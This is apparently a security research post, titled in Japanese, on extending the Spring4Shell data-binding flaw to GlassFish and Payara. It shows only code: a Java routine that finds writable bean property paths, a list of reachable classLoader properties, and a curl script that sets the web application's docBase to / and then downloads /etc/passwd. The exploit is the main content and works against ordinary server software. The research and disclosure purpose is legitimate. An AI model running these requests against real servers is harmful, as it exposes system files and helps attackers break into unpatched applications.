Spring4ShellがGlassfishとPayaraにも拡大：同じ脆弱性、新たなエクスプロイト

1public static HashSet<String> findWritablePds(Object root, String path, int depth, HashSet<Object> visited) {
2
3  if (visited == null) {
4     visited = new HashSet<>();
5     visited.add(Integer.class);
6     visited.add(Long.class);
7     visited.add(Double.class);
8     visited.add(String.class);
9  }
10
11  HashSet<String> res = new HashSet<>();
12
13  if (depth <= 0) return res;
14  if (visited.contains(root)) return res;
15  else visited.add(root);
16
17  try {
18     BeanWrapperImpl impl = new BeanWrapperImpl(root);
19
20     for (PropertyDescriptor pd : impl.getPropertyDescriptors()) {
21        if (!impl.isReadableProperty(pd.getName())) continue;
22        if (pd.getName().equals("accessible")) continue;
23
24        if (impl.isWritableProperty(pd.getName())) {
25           res.add(path + "." + pd.getName());
26        }
27
28        Object value = impl.getPropertyValue(pd.getName());
29
30        if (value != null && value != Optional.empty()) {
31           res.addAll(findWritablePds(value, path + "." + pd.getName(), depth - 1, visited));
32
33           if (value.getClass().isArray()) {
34              try {
35                 Object[] casted = (Object[]) value;
36
37                 for (int i = 0; i < casted.length; i++) {
38                    res.addAll(findWritablePds(casted[i], path + "." + pd.getName() + "[" + i + "]", depth - 1, visited));
39                 }
40              } catch (ClassCastException cce) {
41                 System.err.println("Exception casting class " + value.getClass().getCanonicalName() + ": " + cce.getMessage());
42              }
43           }
44        }
45     }
46  } catch (Exception e) {
47     e.printStackTrace();
48  }
49
50  return res;
51}

1[.class.module.classLoader.resources.dirContext.docBase, .class.module.classLoader.parent.name, .class.module.classLoader.resources.dirContext.debug, .class.module.classLoader.resources.dirContext.allowLinking, .class.module.classLoader.resources.cache.desiredEntryAccessRatio, .content, .class.module.classLoader.resources, .id, .class.module.classLoader.resources.dirContext.cacheTTL, .class.module.classLoader.antiJARLocking, .class.module.classLoader.debug, .class.module.classLoader.resources.dirContext.cacheMaxSize, .class.module.classLoader.resources.dirContext.cached, .class.module.classLoader.resources.dirContext.caseSensitive, .class.module.classLoader.resources.cache.cacheMaxSize, .class.module.classLoader.clearReferencesStatic, .class.module.classLoader.delegate, .class.module.classLoader.resources.cache.maxAllocateIterations, .class.module.classLoader.resources.cache.spareNotFoundEntries, .class.module.classLoader.jarPath]

1http://localhost:8080/handling-form-submission-complete/etc/passwd

1echo "Setting doc base to /"
2curl -X POST \
3 -F 'class.module.classLoader.resources.dirContext.docBase=/' \
4 http://localhost:8080/handling-form-submission-complete/greeting
5sleep 2
6echo "Downloading /etc/passwd"
7curl http://localhost:8080/handling-form-submission-complete/etc/passwd